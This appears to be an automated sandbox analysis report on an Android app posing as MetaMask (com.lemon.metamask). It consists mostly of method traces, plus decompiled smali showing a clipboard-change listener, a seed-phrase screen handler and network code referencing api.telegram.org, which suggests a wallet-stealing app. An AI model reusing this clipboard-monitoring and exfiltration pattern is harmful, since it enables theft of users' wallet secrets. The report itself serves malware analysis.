        Method: ..:15 Show source
        Method: ..:23 Show source
        Method: ..:28 Show source
        Method: ..:32 Show source
        Method: ..:20 Show source
        Method: ..:25 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.loadVersionInfo:22 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.loadVersionInfo:26 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.loadVersionInfo:30 Show source
        Method: cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:26 Show source
        Method: cz.msebera.android.httpclient.impl.client.cache.CacheInvalidator.flushInvalidatedCacheEntries:28 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.applyOpenSSLFix:77 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.applyOpenSSLFix:79 Show source
        Method: cz.msebera.android.httpclient.cookie.CookieIdentityComparator.compare:27 Show source
        Method: cz.msebera.android.httpclient.cookie.CookieIdentityComparator.compare:31 Show source
        Method: cz.msebera.android.httpclient.cookie.CookieIdentityComparator.compare:50 Show source
        Method: cz.msebera.android.httpclient.cookie.CookieIdentityComparator.compare:54 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:135 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:137 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:141 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:143 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:147 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:149 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:153 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:155 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:165 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:169 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:173 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:177 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:181 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:183 Show source
        Method: ..:32 Show source
        Method: ..:35 Show source
        Method: ..:40 Show source
        Method: ..:41 Show source
        Method: ..:44 Show source
        Method: ..:48 Show source
        Method: ..:51 Show source
        Method: ..:17 Show source
        Method: ..:19 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:6 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:10 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:14 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:18 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:22 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:26 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:30 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:34 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:38 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:42 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:46 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:50 Show source
        Method: cz.msebera.android.httpclient.impl.client.FutureRequestExecutionMetrics.toString:54 Show source
        Method: ..:10 Show source
        Method: ..:14 Show source
        Method: cz.msebera.android.httpclient.protocol.RequestContent.process:126 Show source
        Method: cz.msebera.android.httpclient.protocol.RequestContent.process:128 Show source
        Method: ..:23 Show source
        Method: ..:28 Show source
        Method: ..:20 Show source
        Method: ..:24 Show source
        Method: ..:14 Show source
        Method: ..:16 Show source
        Method: ..:20 Show source
        Method: ..:22 Show source
        Method: cz.msebera.android.httpclient.util.Args.notEmpty:22 Show source
        Method: cz.msebera.android.httpclient.util.Args.notEmpty:26 Show source
        Method: cz.msebera.android.httpclient.util.Args.notEmpty:38 Show source
        Method: cz.msebera.android.httpclient.util.Args.notEmpty:42 Show source
        Method: ..:16 Show source
        Method: ..:20 Show source
        Method: ..:12 Show source
        Method: ..:14 Show source
        Method: ..:18 Show source
        Method: ..:32 Show source
        Method: ..:37 Show source
        Method: ..:41 Show source
        Method: ..:43 Show source
        Method: ..:21 Show source
        Method: ..:23 Show source
        Method: ..:27 Show source
        Method: ..:32 Show source
        Method: ..:36 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicMaxAgeHandler.parse:34 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicMaxAgeHandler.parse:36 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicMaxAgeHandler.parse:50 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicMaxAgeHandler.parse:52 Show source
        Method: ..:18 Show source
        Method: ..:23 Show source
        Method: ..:6 Show source
        Method: ..:9 Show source
        Method: ..:16 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:16 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:21 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:25 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:29 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:38 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:42 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:47 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:51 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:55 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:64 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:68 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:73 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.formatStats:77 Show source
        Method: ..:19 Show source
        Method: ..:24 Show source
        Method: ..:16 Show source
        Method: ..:20 Show source
        Method: ..:7 Show source
        Method: ..:11 Show source
        Method: cz.msebera.android.httpclient.impl.entity.LaxContentLengthStrategy.determineLength:53 Show source
        Method: cz.msebera.android.httpclient.impl.entity.LaxContentLengthStrategy.determineLength:55 Show source
        Method: ..:42 Show source
        Method: ..:47 Show source
        Method: ..:51 Show source
        Method: ..:53 Show source
        Method: ..:22 Show source
        Method: ..:24 Show source
        Method: ..:28 Show source
        Method: ..:32 Show source
        Method: ..:35 Show source
        Method: ..:39 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.leaseConnection:52 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.leaseConnection:57 Show source
        Method: cz.msebera.android.httpclient.impl.conn.PoolingHttpClientConnectionManager.leaseConnection:66 Show source
        Method: com.loopj.android.http.BinaryHttpResponseHandler.sendResponseMessage:63 Show source
        Method: com.loopj.android.http.BinaryHttpResponseHandler.sendResponseMessage:65 Show source
        Method: com.loopj.android.http.BinaryHttpResponseHandler.sendResponseMessage:90 Show source
        Method: com.loopj.android.http.BinaryHttpResponseHandler.sendResponseMessage:95 Show source
        Method: com.loopj.android.http.BinaryHttpResponseHandler.sendResponseMessage:99 Show source
        Method: ..:43 Show source
        Method: ..:45 Show source
        Method: ..:50 Show source
        Method: ..:52 Show source
        Method: ..:6 Show source
        Method: ..:10 Show source
        Method: ..:14 Show source
        Method: ..:18 Show source
        Method: ..:22 Show source
        Method: ..:23 Show source
        Method: ..:29 Show source
        Method: cz.msebera.android.httpclient.client.utils.Rfc3492Idn.toUnicode:24 Show source
        Method: cz.msebera.android.httpclient.client.utils.Rfc3492Idn.toUnicode:39 Show source
        Method: ..:20 Show source
        Method: ..:25 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:89 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:91 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:95 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:165 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:167 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:171 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:187 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:189 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:203 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:208 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:212 Show source
        Method: ..:29 Show source
        Method: ..:33 Show source
        Method: ..:10 Show source
        Method: ..:11 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:27 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.isSpecialDomain:8 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.isSpecialDomain:14 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.isSpecialDomain:20 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.isSpecialDomain:26 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.isSpecialDomain:32 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.isSpecialDomain:38 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDomainHandler.isSpecialDomain:44 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicPathHandler.match:26 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicPathHandler.match:50 Show source
        Method: cz.msebera.android.httpclient.protocol.UriPatternMatcher.lookup:57 Show source
        Method: ..:26 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2109DomainHandler.validate:52 Show source
        Method: ..:28 Show source
        Method: ..:41 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:48 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:60 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:79 Show source
        Method: ..:18 Show source
        Method: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier.verify:92 Show source
        Method: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier.verify:136 Show source
        Method: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier.verify:147 Show source
        Method: ..:11 Show source
        Method: ..:39 Show source
        Method: ..:9 Show source
        Method: ..:16 Show source
        Method: ..:29 Show source
        Method: ..:20 Show source
        Method: ..:8 Show source
        Method: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl.lmHash:13 Show source
        Method: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl.lmHash:36 Show source
        Method: ..:16 Show source
        Method: ..:24 Show source
        Method: ..:10 Show source
        Method: com.loopj.android.http.SimpleMultipartEntity.<init>:55 Show source
        Method: com.loopj.android.http.SimpleMultipartEntity.<init>:81 Show source
        Method: ..:22 Show source
        Method: ..:1 Show source
        Method: com.loopj.android.http.SimpleMultipartEntity.createContentDisposition:31 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.<clinit>:9 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.<clinit>:15 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.<clinit>:21 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.escape:106 Show source
        Method: ..:32 Show source
        Method: ..:1 Show source
        Method: ..:46 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:83 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:94 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:133 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:157 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:181 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:205 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:272 Show source
        Method: ..:18 Show source
        Method: ..:32 Show source
        Method: ..:44 Show source
        Method: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$Type3Message.<init>:125 Show source
        Method: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$Type3Message.<init>:141 Show source
        Method: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$Type3Message.<init>:148 Show source
        Method: ..:34 Show source
        Method: ..:3 Show source
        Method: ..:9 Show source
        Method: ..:18 Show source
        Method: ..:9 Show source
        Method: ..:13 Show source
        Method: ..:10 Show source
        Method: ..:21 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.getBuildFingerprintAndDeviceSerial:20 Show source
        Method: ..:24 Show source
        Method: ..:29 Show source
        Method: ..:10 Show source
        Method: ..:42 Show source
        Method: ..:4 Show source
        Method: ..:7 Show source
        Method: ..:32 Show source
        Method: ..:51 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:33 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicPathHandler.match:37 Show source
        Method: ..:45 Show source
        Method: ..:20 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2965DomainAttributeHandler.validate:46 Show source
        Method: ..:11 Show source
        Method: cz.msebera.android.httpclient.client.utils.URIUtils.createURI:30 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2109DomainHandler.validate:33 Show source
        Method: cz.msebera.android.httpclient.client.utils.URIUtils.resolve:14 Show source
        Method: ..:21 Show source
        Method: ..:34 Show source
        Method: com.lemon.metamask.Util.Method.getDeviceName:5 Show source
        Method: ..:15 Show source
        Method: ..:24 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixFilter.isForPublicSuffix:6 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixFilter.isForPublicSuffix:41 Show source
        Method: ..:26 Show source
        Method: ..:13 Show source
        Method: ..:19 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:23 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:29 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:42 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:54 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:73 Show source
        Method: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier.verify:132 Show source
        Method: ..:17 Show source
        Method: ..:23 Show source
        Method: ..:23 Show source
        Method: ..:29 Show source
        Method: ..:34 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2965DomainAttributeHandler.parse:25 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:35 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:42 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:51 Show source
        Method: cz.msebera.android.httpclient.client.utils.Rfc3492Idn.toUnicode:28 Show source
        Method: ..:6 Show source
        Method: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.formatCooke:26 Show source
        Method: ..:13 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicDomainHandler.validate:41 Show source
        Method: ..:31 Show source
        Method: ..:41 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BasicPathHandler.match:34 Show source
        Method: ..:13 Show source
        Method: ..:34 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2965DomainAttributeHandler.validate:79 Show source
        Method: ..:16 Show source
        Method: ..:14 Show source
        Method: ..:18 Show source
        Method: ..:31 Show source
        Method: ..:40 Show source
        Method: ..:49 Show source
        Method: ..:14 Show source
        Method: ..:21 Show source
        Method: ..:8 Show source
        Method: ..:21 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2109DomainHandler.validate:64 Show source
        Method: cz.msebera.android.httpclient.client.utils.URIUtils.resolve:47 Show source
        Method: ..:12 Show source
        Method: ..:12 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixFilter.isForPublicSuffix:11 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixFilter.isForPublicSuffix:46 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixFilter.isForPublicSuffix:63 Show source
        Method: ..:45 Show source
        Method: com.loopj.android.http.FileAsyncHttpResponseHandler.getTargetFileByParsingURL:38 Show source
        Method: com.loopj.android.http.FileAsyncHttpResponseHandler.getTargetFileByParsingURL:79 Show source
        Method: com.loopj.android.http.FileAsyncHttpResponseHandler.getTargetFileByParsingURL:94 Show source
        Method: com.loopj.android.http.JsonHttpResponseHandler.parseResponse:88 Show source
        Method: cz.msebera.android.httpclient.client.utils.URIUtils.extractHost:29 Show source
        Method: cz.msebera.android.httpclient.client.utils.URIUtils.extractHost:60 Show source
        Method: cz.msebera.android.httpclient.client.utils.URIUtils.extractHost:67 Show source
        Method: ..:31 Show source
        Method: cz.msebera.android.httpclient.client.utils.Rfc3492Idn.decode:23 Show source
        Method: cz.msebera.android.httpclient.client.utils.Rfc3492Idn.decode:43 Show source
        Method: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier.verify:117 Show source
        Method: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier.verify:123 Show source
        Method: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier.verify:129 Show source
        Method: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier.verify:144 Show source
        Method: ..:20 Show source
        Method: ..:36 Show source
        Method: ..:33 Show source
        Method: ..:4 Show source
        Method: ..:15 Show source
        Method: ..:25 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:46 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.PublicSuffixListParser.parse:55 Show source
        Method: ..:1 Show source
        Method: ..:7 Show source
        Method: ..:57 Show source
        Method: ..:20 Show source
        Method: ..:7 Show source
        Method: ..:30 Show source
        Method: cz.msebera.android.httpclient.client.utils.Rfc3492Idn.toUnicode:33 Show source
        Method: ..:14 Show source
        Method: ..:12 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.deleteEntry:41 Show source
        Method: ..:3 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.shutdown:3 Show source
        Method: ..:3 Show source
        Method: ..:3 Show source
        Method: ..:16 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.createEntry:43 Show source
        Method: ..:3 Show source
        Method: ..:3 Show source
        Method: cz.msebera.android.httpclient.pool.AbstractConnPool.getPoolEntryBlocking:36 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.getFreeEntry:3 Show source
        Method: ..:7 Show source
        Method: ..:6 Show source
        Method: ..:3 Show source
        Method: ..:13 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.getEntryBlocking:25 Show source
        Method: ..:10 Show source
        Method: ..:3 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.freeEntry:41 Show source
        Method: ..:3 Show source
        Method: ..:3 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.closeIdleConnections:47 Show source
        Method: ..:21 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.notifyWaitingThread:3 Show source
        Method: ..:3 Show source
        Method: cz.msebera.android.httpclient.pool.AbstractConnPool.shutdown:13 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.closeExpiredConnections:12 Show source
        Method: ..:3 Show source
        Method: ..:8 Show source
        Method: ..:8 Show source
        Method: ..:10 Show source
        Method: ..:7 Show source
        Method: ..:3 Show source
        Method: ..:7 Show source
        Method: ..:3 Show source
        Method: ..:3 Show source
        Method: ..:3 Show source
        Method: ..:13 Show source
        Method: ..:42 Show source
        Method: ..:13 Show source
        Method: com.loopj.android.http.AsyncHttpClient.sendRequest:72 Show source
        Method: ..:7 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.fromMap:20 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.fromMap:33 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.fromMap:51 Show source
        Method: cz.msebera.android.httpclient.protocol.UriPatternMatcher.lookup:15 Show source
        Method: cz.msebera.android.httpclient.protocol.UriPatternMatcher.lookup:63 Show source
        Method: cz.msebera.android.httpclient.impl.client.AbstractAuthenticationHandler.selectScheme:74 Show source
        Method: ..:3 Show source
        Method: ..:3 Show source
        Method: ..:32 Show source
        Method: cz.msebera.android.httpclient.impl.client.AuthenticationStrategyImpl.select:113 Show source
        Method: ..:3 Show source
        Method: cz.msebera.android.httpclient.impl.auth.HttpAuthenticator.handleAuthChallenge:86 Show source
        Method: ..:18 Show source
        Method: cz.msebera.android.httpclient.impl.HttpConnectionMetricsImpl.getMetric:7 Show source
        Method: ..:11 Show source
        Method: ..:13 Show source
        Method: ..:22 Show source
        Method: ..:94 Show source
        Method: ..:7 Show source
        Method: ..:8 Show source
        Method: ..:6 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:48 Show source
        Method: cz.msebera.android.httpclient.impl.client.cache.CachingExec.generateViaHeader:6 Show source
        Method: ..:3 Show source
        Method: ..:10 Show source
        Method: ..:3 Show source
        Method: cz.msebera.android.httpclient.impl.conn.InMemoryDnsResolver.resolve:8 Show source
        Method: ..:3 Show source
        Method: ..:68 Show source
        Method: ..:11 Show source
        Method: ..:55 Show source
        Method: ..:81 Show source
        Method: ..:14 Show source
        Method: ..:13 Show source
        Method: ..:3 Show source
        Method: ..:13 Show source
        Method: ..:3 Show source
        Method: ..:21 Show source
        Method: com.loopj.android.http.RequestParams.getParamsList:50 Show source
        Method: ..:43 Show source
        Method: ..:23 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.ConnPoolByRoute.shutdown:16 Show source
        Method: com.loopj.android.http.PersistentCookieStore.clearExpired:11 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2965Spec.createCookies:84 Show source
        Method: ..:6 Show source
        Method: cz.msebera.android.httpclient.protocol.UriPatternMatcher.lookup:25 Show source
        Method: ..:14 Show source
        Method: com.loopj.android.http.PersistentCookieStore.clear:11 Show source
        Method: cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler.closeIdleConnections:32 Show source
        Method: ..:16 Show source
        Method: ..:25 Show source
        Method: ..:29 Show source
        Method: com.loopj.android.http.RequestParams.createJsonStreamerEntity:32 Show source
        Method: com.loopj.android.http.RequestParams.createJsonStreamerEntity:58 Show source
        Method: com.loopj.android.http.RequestParams.createJsonStreamerEntity:84 Show source
        Method: com.loopj.android.http.RequestParams.createJsonStreamerEntity:110 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:32 Show source
        Method: com.loopj.android.http.RequestParams.toString:9 Show source
        Method: com.loopj.android.http.RequestParams.toString:50 Show source
        Method: com.loopj.android.http.RequestParams.toString:89 Show source
        Method: com.loopj.android.http.RequestParams.toString:128 Show source
        Method: ..:6 Show source
        Method: ..:44 Show source
        Method: ..:21 Show source
        Method: ..:17 Show source
        Method: cz.msebera.android.httpclient.impl.conn.IdleConnectionHandler.closeExpiredConnections:31 Show source
        Method: cz.msebera.android.httpclient.pool.AbstractConnPool.shutdown:33 Show source
        Method: com.loopj.android.http.RequestParams.createMultipartEntity:17 Show source
        Method: com.loopj.android.http.RequestParams.createMultipartEntity:74 Show source
        Method: com.loopj.android.http.RequestParams.createMultipartEntity:110 Show source
        Method: com.loopj.android.http.RequestParams.createMultipartEntity:143 Show source
        Method: com.loopj.android.http.RequestParams.<init>:44 Show source
        Method: ..:14 Show source
        Method: com.loopj.android.http.RequestParams.getParamsList:134 Show source
        Method: ..:6 Show source

        101 Executed Methods

        APIs
        • android.support.v7.app.AppCompatActivity.onCreate
        • com.android.internal.policy.PhoneWindow.setContentView
        • com.lemon.metamask.Activity.MainActivity.getApplication
        • android.app.Application.getPackageName
        • com.lemon.metamask.Activity.MainActivity.getSharedPreferences
        • com.lemon.metamask.Activity.MainActivity.findViewById
        • android.widget.Button.setOnClickListener
        • com.lemon.metamask.Activity.MainActivity.findViewById
        • android.widget.Button.setOnClickListener
        • com.lemon.metamask.Activity.MainActivity.getSystemService
        • android.content.ClipboardManager.addPrimaryClipChangedListener
        Strings
        • com.lemon.metamask
        • clipboard
        Position Instruction Meta Information
        1invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onCreate(Landroid/os/Bundle;)V
        2const p1, 0x7f09001c
        4invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/MainActivity;->setContentView(I)V
        • Time: 1301589
          • This:
            • com.android.internal.policy.PhoneWindow@8e4497
          • p0: android.support.v7.widget.FitWindowsLinearLayout{40bddb5 V.E...... ......I. 0,0-0,0 #7f07000a app:id/action_bar_root}
        • Time: 1301594
          • This:
            • android.support.v7.widget.FitWindowsLinearLayout{40bddb5 V.E...... ......I. 0,0-0,0 #7f07000a app:id/action_bar_root}
          • p0: 16908290
          • Return:
            • android.support.v7.widget.ContentFrameLayout{9070e6d V.E...... ......I. 0,0-0,0 #1020002 android:id/content}
        6invoke-virtual {p0}, Lcom/lemon/metamask/Activity/MainActivity;->getApplication()Landroid/app/Application;
        7move-result-object p1
        9invoke-virtual {p1}, Landroid/app/Application;->getPackageName()Ljava/lang/String;
        • Time: 1301612
          • This:
            • android.app.Application@2edf5bc
          • Return:
            • com.lemon.metamask
        10move-result-object p1
        11const/4 v0, 0x0
        13invoke-virtual {p0, p1, v0}, Lcom/lemon/metamask/Activity/MainActivity;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
        14move-result-object p1
        15iput-object p1, p0, Lcom/lemon/metamask/Activity/MainActivity;->prefs:Landroid/content/SharedPreferences;
        16const p1, 0x7f070033
        18invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/MainActivity;->findViewById(I)Landroid/view/View;
        19move-result-object p1
        20check-cast p1, Landroid/widget/Button;
        21iput-object p1, p0, Lcom/lemon/metamask/Activity/MainActivity;->create_btn:Landroid/widget/Button;
        23iget-object p1, p0, Lcom/lemon/metamask/Activity/MainActivity;->create_btn:Landroid/widget/Button;
        24new-instance v0, Lcom/lemon/metamask/Activity/MainActivity$1;
        26invoke-direct {v0, p0}, Lcom/lemon/metamask/Activity/MainActivity$1;-><init>(Lcom/lemon/metamask/Activity/MainActivity;)V
        28invoke-virtual {p1, v0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
        29const p1, 0x7f07006d
        31invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/MainActivity;->findViewById(I)Landroid/view/View;
        32move-result-object p1
        33check-cast p1, Landroid/widget/Button;
        34iput-object p1, p0, Lcom/lemon/metamask/Activity/MainActivity;->restore_btn:Landroid/widget/Button;
        36iget-object p1, p0, Lcom/lemon/metamask/Activity/MainActivity;->restore_btn:Landroid/widget/Button;
        37new-instance v0, Lcom/lemon/metamask/Activity/MainActivity$2;
        39invoke-direct {v0, p0}, Lcom/lemon/metamask/Activity/MainActivity$2;-><init>(Lcom/lemon/metamask/Activity/MainActivity;)V
        41invoke-virtual {p1, v0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
        43const-string p1, "clipboard"
        45invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
        46move-result-object p1
        47check-cast p1, Landroid/content/ClipboardManager;
        48new-instance v0, Lcom/lemon/metamask/Activity/MainActivity$3;
        50invoke-direct {v0, p0, p1}, Lcom/lemon/metamask/Activity/MainActivity$3;-><init>(Lcom/lemon/metamask/Activity/MainActivity;Landroid/content/ClipboardManager;)V
        52invoke-virtual {p1, v0}, Landroid/content/ClipboardManager;->addPrimaryClipChangedListener(Landroid/content/ClipboardManager$OnPrimaryClipChangedListener;)V
        53return-void
        Cross References
        APIs
        • java.net.Socket.bind
        • javax.net.ssl.SSLSocket.startHandshake
        • cz.msebera.android.httpclient.HttpHost.getHostName
        • java.net.InetSocketAddress.getPort
        • java.net.Socket.close
        Strings
        • HTTP host
        • Remote address
        • api.telegram.org
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6const-string v0, "HTTP host"
        8invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Remote address"
        12invoke-static {p4, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        13if-eqz p2, :cond_d
        14goto/16 :goto_11
        15cond_d:
        16invoke-virtual {p0, p6}, Lcz/msebera/android/httpclient/conn/ssl/SSLSocketFactory;->createSocket(Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/net/Socket;
        17move-result-object p2
